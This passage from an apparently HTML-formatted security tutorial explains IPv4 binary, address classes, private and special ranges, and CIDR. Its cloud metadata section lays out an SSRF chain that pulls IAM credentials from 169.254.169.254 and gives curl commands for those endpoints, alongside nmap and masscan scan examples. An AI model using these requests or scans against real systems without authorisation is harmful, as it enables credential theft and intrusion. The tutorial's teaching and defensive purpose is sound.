    &lt;span class="n"&gt;binary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;octets&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Integer representation
&lt;/span&gt;    &lt;span class="n"&gt;ip_int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Hex representation
&lt;/span&gt;    &lt;span class="n"&gt;ip_hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="n"&gt;X&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;octets&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;IP Address:  &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip_str&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Binary:      &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;binary&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Integer:     &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip_int&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hex:         &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip_hex&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Is private:  &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_private&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Is loopback: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_loopback&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Is multicast:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_multicast&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;ip_analysis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;ip_analysis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;ip_analysis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8.8.8.8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.3 Why Binary Matters for Security
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Subnet calculation:&lt;/strong&gt; Every subnet calculation is a binary operation. The network address is found by ANDing the IP with the subnet mask. Without understanding binary, you cannot verify these calculations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Firewall rules:&lt;/strong&gt; ACLs (Access Control Lists) on routers and firewalls use wildcard masks — the inverse of subnet masks — for matching. &lt;code&gt;192.168.1.0 0.0.0.255&lt;/code&gt; matches the entire 192.168.1.0/24 range. Understanding binary makes wildcard mask manipulation intuitive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Packet crafting:&lt;/strong&gt; When you use hping3, Scapy, or Nmap with custom IP options, you are manipulating binary fields in IP headers. Knowing the binary representation of IP addresses prevents mistakes that render your tool ineffective.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IP spoofing detection:&lt;/strong&gt; When analysing packet captures, recognising invalid IP address combinations (e.g., a packet claiming to be from 192.168.x.x arriving on a WAN interface) requires knowing which ranges are private and should never appear on public-facing links.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; IP addresses are 32-bit integers dressed up in dotted-decimal notation. Every network operation — subnetting, masking, routing decisions — is binary arithmetic. Professionals who cannot work in binary are operating with a conceptual gap that limits their precision in both attack and defence.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. Address Classes — A, B, C and Why They Still Matter
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 The Historical Design
&lt;/h3&gt;

&lt;p&gt;Before CIDR (1993), the internet used a classful addressing scheme where the address itself determined the network/host boundary. The first bits of the address determined the class.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Class A: 0xxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bit:    0
  Range:        1.0.0.0 – 126.255.255.255
  Default mask: /8  (255.0.0.0)
  Networks:     126 (0 and 127 reserved)
  Hosts/net:    16,777,214  (2^24 - 2)

  127.0.0.0/8 is reserved for loopback (127.0.0.1 = localhost)

Class B: 10xxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bits:   10
  Range:        128.0.0.0 – 191.255.255.255
  Default mask: /16 (255.255.0.0)
  Networks:     16,384
  Hosts/net:    65,534  (2^16 - 2)

Class C: 110xxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bits:   110
  Range:        192.0.0.0 – 223.255.255.255
  Default mask: /24 (255.255.255.0)
  Networks:     2,097,152
  Hosts/net:    254  (2^8 - 2)

Class D: 1110xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range:        224.0.0.0 – 239.255.255.255
  Purpose:      Multicast (not assignable to hosts)
  Examples:     224.0.0.5 (OSPF all routers)
                224.0.0.251 (mDNS)
                239.255.255.250 (SSDP/UPnP)

Class E: 1111xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range:        240.0.0.0 – 255.255.255.255
  Purpose:      Reserved/experimental
  255.255.255.255: Limited broadcast
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 Why Classes Still Matter Despite CIDR
&lt;/h3&gt;

&lt;p&gt;CIDR replaced classful addressing, but class knowledge remains essential:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Legacy OT systems:&lt;/strong&gt; PLCs, RTUs, and HMIs from the 1990s-2000s often have hardcoded class-based assumptions in their network stack. Some will only communicate within their class boundary. Some configuration interfaces display class-based defaults. Understanding classes is necessary to diagnose connectivity issues with legacy field devices.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Default subnet masks:&lt;/strong&gt; When someone says "we use 10.x.x.x for internal addressing," the implied default mask is /8 (Class A). When a device is misconfigured with the wrong default mask, it will be unable to communicate outside its perceived local network. Diagnosing this requires knowing the class defaults.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BGP routing:&lt;/strong&gt; Internet routing tables still include classful prefixes. Understanding why some routes aggregate nicely (along class boundaries) and why others do not requires class knowledge.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security tool output:&lt;/strong&gt; Nmap, Masscan, and other scanners sometimes reference class notation. Vulnerability scanners and SIEM correlation rules may use class-based patterns. Misinterpreting these references causes errors.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Identify address class from command line:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
def ip_class(ip):
    first_octet = int(ip.split('.')[0])
    if first_octet == 0:
        return "Reserved (0.x.x.x)"
    elif 1 &amp;lt;= first_octet &amp;lt;= 126:
        return "Class A (default /8)"
    elif first_octet == 127:
        return "Loopback (127.x.x.x)"
    elif 128 &amp;lt;= first_octet &amp;lt;= 191:
        return "Class B (default /16)"
    elif 192 &amp;lt;= first_octet &amp;lt;= 223:
        return "Class C (default /24)"
    elif 224 &amp;lt;= first_octet &amp;lt;= 239:
        return "Class D (Multicast)"
    elif 240 &amp;lt;= first_octet &amp;lt;= 255:
        return "Class E (Reserved/Experimental)"

test_ips = ["10.0.0.1", "127.0.0.1", "172.16.0.1",
            "192.168.1.1", "8.8.8.8", "224.0.0.5", "240.0.0.1"]
for ip in test_ips:
    print(f"{ip:20} → {ip_class(ip)}")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Classful addressing is deprecated but not gone. Legacy OT devices predate CIDR and may exhibit class-based behaviour. Security professionals who only know CIDR will waste hours diagnosing problems that class knowledge would solve in seconds.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. Public vs Private IP — The Trust Boundary
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 The RFC 1918 Private Ranges
&lt;/h3&gt;

&lt;p&gt;RFC 1918 (1996) defined three address ranges that are never routed on the public internet. These are the "private" address spaces:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10.0.0.0/8
  Range:   10.0.0.0 – 10.255.255.255
  Hosts:   16,777,214
  Class:   A
  Use:     Large enterprises, cloud internal networks, OT networks

172.16.0.0/12
  Range:   172.16.0.0 – 172.31.255.255
  Hosts:   1,048,574
  Class:   B
  Use:     Medium enterprises, Docker default (172.17.0.0/16)

192.168.0.0/16
  Range:   192.168.0.0 – 192.168.255.255
  Hosts:   65,534
  Class:   C
  Use:     Home networks, small offices, most common default
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why these ranges are "safe" for internal use:&lt;/strong&gt;&lt;br&gt;
ISPs are required (RFC 1918) to filter these ranges at their borders — packets from these addresses should never appear on the internet. If a packet arrives at a WAN interface claiming to come from 192.168.x.x, it is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A misconfigured device&lt;/li&gt;
&lt;li&gt;A spoofed packet from an attacker (IP spoofing)&lt;/li&gt;
&lt;li&gt;A filtering failure at an upstream ISP&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is the basis of BCP38 — ISPs should implement ingress filtering to drop packets from their customers whose source IP does not match the customer's allocated range.&lt;/p&gt;
&lt;h3&gt;
  
  
  4.2 Other Special Ranges Every Security Professional Must Know
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Range              Purpose                              Security Relevance
─────────────────────────────────────────────────────────────────────────
0.0.0.0/8          "This network" — DHCP source        Invalid as source except DHCP discover
127.0.0.0/8        Loopback                             Services binding only to 127.0.0.1 are
                                                        not network-accessible (but can be
                                                        reached via SSRF from the same machine)
100.64.0.0/10      Carrier-grade NAT (CGN)              ISP internal addresses — confuses
                                                        traceroutes, may leak in headers
169.254.0.0/16     APIPA / Link-local                   Assigned by OS when DHCP fails.
                                                        ALSO: AWS/Azure/GCP metadata service
                                                        (169.254.169.254) — critical SSRF target
192.0.2.0/24       TEST-NET-1 (RFC 5737)                Never use in production
198.51.100.0/24    TEST-NET-2 (RFC 5737)                Never use in production
203.0.113.0/24     TEST-NET-3 (RFC 5737)                Never use in production
192.88.99.0/24     6to4 relay (deprecated)              May still appear in older networks
224.0.0.0/4        Multicast                            Routing protocols, service discovery
240.0.0.0/4        Reserved                             Should never appear in normal traffic
255.255.255.255/32 Limited broadcast                    DHCP discover destination
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  4.3 The Cloud Metadata Service — Critical SSRF Target
&lt;/h3&gt;

&lt;p&gt;The link-local address 169.254.169.254 deserves special attention. Every major cloud provider (AWS, Azure, GCP, DigitalOcean, etc.) uses this address for their instance metadata service.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AWS EC2 Metadata Service:
  http://169.254.169.254/latest/meta-data/

  Contains:
    /iam/security-credentials/           ← Temporary IAM credentials
    /iam/security-credentials/&amp;lt;role&amp;gt;/    ← Specific role credentials
    /public-ipv4                         ← Instance's public IP
    /local-ipv4                          ← Instance's private IP
    /hostname                            ← Instance hostname
    /user-data                           ← Startup script (often contains secrets)
    /placement/availability-zone         ← Where this instance is running
    /security-groups                     ← Attached security groups

Azure IMDS (Instance Metadata Service):
  http://169.254.169.254/metadata/instance
  (requires header: Metadata: true)

GCP Metadata Server:
  http://metadata.google.internal/ (resolves to 169.254.169.254)
  http://169.254.169.254/computeMetadata/v1/
  (requires header: Metadata-Flavor: Google)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SSRF to Cloud Metadata — One of the Most Impactful Attack Chains:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If a web application is vulnerable to SSRF (Server-Side Request Forgery), and it runs on a cloud VM, an attacker can:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Send SSRF payload: &lt;code&gt;http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Get the IAM role name from the response&lt;/li&gt;
&lt;li&gt;Send: &lt;code&gt;http://169.254.169.254/latest/meta-data/iam/security-credentials/&amp;lt;role-name&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Receive: &lt;code&gt;AccessKeyId&lt;/code&gt;, &lt;code&gt;SecretAccessKey&lt;/code&gt;, &lt;code&gt;Token&lt;/code&gt; — temporary AWS credentials&lt;/li&gt;
&lt;li&gt;Use credentials to access S3 buckets, RDS databases, other AWS services&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Real-world impact:&lt;/strong&gt; The 2019 Capital One breach exposed 100 million customer records. The attacker exploited an SSRF vulnerability in a WAF configuration, reached the metadata service, obtained IAM credentials, and used them to exfiltrate data from S3. The metadata service was the pivot point.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Test metadata service access from inside a cloud VM:&lt;/span&gt;
curl http://169.254.169.254/latest/meta-data/                     &lt;span class="c"&gt;# AWS&lt;/span&gt;
curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Metadata:true"&lt;/span&gt; &lt;span class="s2"&gt;"http://169.254.169.254/metadata/instance?api-version=2021-02-01"&lt;/span&gt;  &lt;span class="c"&gt;# Azure&lt;/span&gt;
curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Metadata-Flavor:Google"&lt;/span&gt; http://169.254.169.254/computeMetadata/v1/  &lt;span class="c"&gt;# GCP&lt;/span&gt;

&lt;span class="c"&gt;# AWS IMDSv2 (more secure — requires token):&lt;/span&gt;
&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; PUT &lt;span class="s2"&gt;"http://169.254.169.254/latest/api/token"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-aws-ec2-metadata-token-ttl-seconds: 21600"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-aws-ec2-metadata-token: &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    http://169.254.169.254/latest/meta-data/

&lt;span class="c"&gt;# Detection: &lt;/span&gt;
&lt;span class="c"&gt;# In AWS CloudTrail, metadata service calls don't appear (they're local)&lt;/span&gt;
&lt;span class="c"&gt;# But the subsequent use of temporary credentials DOES appear in CloudTrail&lt;/span&gt;
&lt;span class="c"&gt;# Alert on: IAM credential usage from unexpected IPs or at unexpected times&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The line between "private" and "public" is not just about RFC 1918. It is about trust. Private addresses imply internal trust. Cloud metadata services at 169.254.169.254 operate entirely on that trust assumption — no authentication, no encryption, just "you're on the network, so here are the credentials." SSRF that reaches this address is nearly always critical severity.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. CIDR Notation — The Modern Standard
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 What CIDR Is and Why It Replaced Classes
&lt;/h3&gt;

&lt;p&gt;CIDR (Classless Inter-Domain Routing, RFC 4632, 1993) solves the fundamental waste problem of classful addressing. Under the classful system, an organisation that needed 500 addresses received a Class B (/16, 65,534 hosts) — wasting 65,034 addresses. This accelerated IPv4 exhaustion.&lt;/p&gt;

&lt;p&gt;CIDR allows any prefix length — the network/host boundary can be placed anywhere in the 32-bit address. A &lt;code&gt;/22&lt;/code&gt; gives exactly 1,022 hosts, matching the real requirement.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CIDR Notation: IP_address/prefix_length
Example: 192.168.1.0/24

/24 means: first 24 bits are the NETWORK portion
           last 8 bits are the HOST portion

Binary representation:
  Network bits: 11111111.11111111.11111111.00000000 = 255.255.255.0 (subnet mask)

Network address:    192.168.1.0   (all host bits = 0)
Broadcast address:  192.168.1.255 (all host bits = 1)
Usable host range:  192.168.1.1 – 192.168.1.254
Usable hosts:       2^8 - 2 = 254
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 Prefix Length to Subnet Mask Conversion
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/prefix → subnet mask (must memorise these):

/8  → 255.0.0.0       (11111111.00000000.00000000.00000000)
/9  → 255.128.0.0
/10 → 255.192.0.0
/11 → 255.224.0.0
/12 → 255.240.0.0
/13 → 255.248.0.0
/14 → 255.252.0.0
/15 → 255.254.0.0
/16 → 255.255.0.0     (11111111.11111111.00000000.00000000)
/17 → 255.255.128.0
/18 → 255.255.192.0
/19 → 255.255.224.0
/20 → 255.255.240.0
/21 → 255.255.248.0
/22 → 255.255.252.0
/23 → 255.255.254.0
/24 → 255.255.255.0   (11111111.11111111.11111111.00000000)
/25 → 255.255.255.128
/26 → 255.255.255.192
/27 → 255.255.255.224
/28 → 255.255.255.240
/29 → 255.255.255.248
/30 → 255.255.255.252
/31 → 255.255.255.254 (point-to-point links — RFC 3021, no broadcast)
/32 → 255.255.255.255 (single host route)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The pattern:&lt;/strong&gt; Each bit added to the prefix doubles the number of networks and halves the number of hosts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Quick host calculation from prefix:
  Hosts = 2^(32 - prefix) - 2

/24 → 2^8  - 2 = 254
/25 → 2^7  - 2 = 126
/26 → 2^6  - 2 = 62
/27 → 2^5  - 2 = 30
/28 → 2^4  - 2 = 14
/29 → 2^3  - 2 = 6
/30 → 2^2  - 2 = 2     ← Point-to-point links between routers
/31 → 2^1  - 2 = 0     ← RFC 3021: used for P2P with no broadcast
/32 → 2^0  - 2 = -1    ← Single host route (host bits all 0 or 1, no subtraction)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 CIDR in Security Operations
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Nmap with CIDR — scan entire subnets:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 10.0.0.0/8          &lt;span class="c"&gt;# Scan all 16M addresses in Class A (slow)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24      &lt;span class="c"&gt;# Scan /24 (fast, common for LAN recon)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 10.10.10.0/24       &lt;span class="c"&gt;# SYN scan of /24&lt;/span&gt;

&lt;span class="c"&gt;# Masscan — faster for large CIDR ranges:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;masscan 10.0.0.0/8 &lt;span class="nt"&gt;-p80&lt;/span&gt;,443,22,3389 &lt;span class="nt"&gt;--rate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10000
&lt;span class="c"&gt;# --rate = packets per second (be careful on production networks)&lt;/span&gt;

&lt;span class="c"&gt;# Python CIDR operations:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import ipaddress

# Check if IP is within a CIDR range:
network = ipaddress.ip_network("10.10.0.0/16")
test_ip = ipaddress.ip_address("10.10.5.100")
print(f"{test_ip} in {network}: {test_ip in network}")

# Generate all IPs in a range (useful for scripting):
for ip in list(ipaddress.ip_network("192.168.1.0/29").hosts()):
    print(ip)

# Summarise multiple subnets:
nets = [
    ipaddress.ip_network("192.168.1.0/26"),
    ipaddress.ip_network("192.168.1.64/26"),
    ipaddress.ip_network("192.168.1.128/26"),
    ipaddress.ip_network("192.168.1.192/26"),
]
collapsed = list(ipaddress.collapse_addresses(nets))
print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Collapsed: {collapsed}")  # Should show 192.168.1.0/24

# Check if two networks overlap (critical for firewall rule analysis):
net1 = ipaddress.ip_network("10.0.0.0/8")
net2 = ipaddress.ip_network("10.10.0.0/16")
print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Networks overlap: {net1.overlaps(net2)}")  # True
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# iptables/nftables use CIDR notation:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-A&lt;/span&gt; INPUT &lt;span class="nt"&gt;-s&lt;/span&gt; 192.168.1.0/24 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT   &lt;span class="c"&gt;# Allow entire /24&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-A&lt;/span&gt; INPUT &lt;span class="nt"&gt;-s&lt;/span&gt; 10.0.0.0/8 &lt;span class="nt"&gt;-j&lt;/span&gt; DROP         &lt;span class="c"&gt;# Block entire Class A&lt;/span&gt;

&lt;span class="c"&gt;# Wireshark CIDR filter:&lt;/span&gt;
&lt;span class="c"&gt;# ip.addr == 192.168.1.0/24    → All traffic involving this subnet&lt;/span&gt;
&lt;span class="c"&gt;# ip.src == 10.0.0.0/8         → Traffic sourced from 10.x.x.x&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Subnet Mask Calculation — From Binary to Practice
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 What the Subnet Mask Does
&lt;/h3&gt;

&lt;p&gt;The subnet mask tells a device which part of an IP address is the &lt;strong&gt;network portion&lt;/strong&gt; and which part is the &lt;strong&gt;host portion&lt;/strong&gt;. This is how a device knows whether a destination is on the same local network (no routing needed) or on a different network (send to default gateway).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Operation: Bitwise AND between IP address and subnet mask

IP address:    192.168.1.100 = 11000000.10101000.00000001.01100100
Subnet mask:   255.255.255.0 = 11111111.11111111.11111111.00000000
                               ────────────────────────────────────
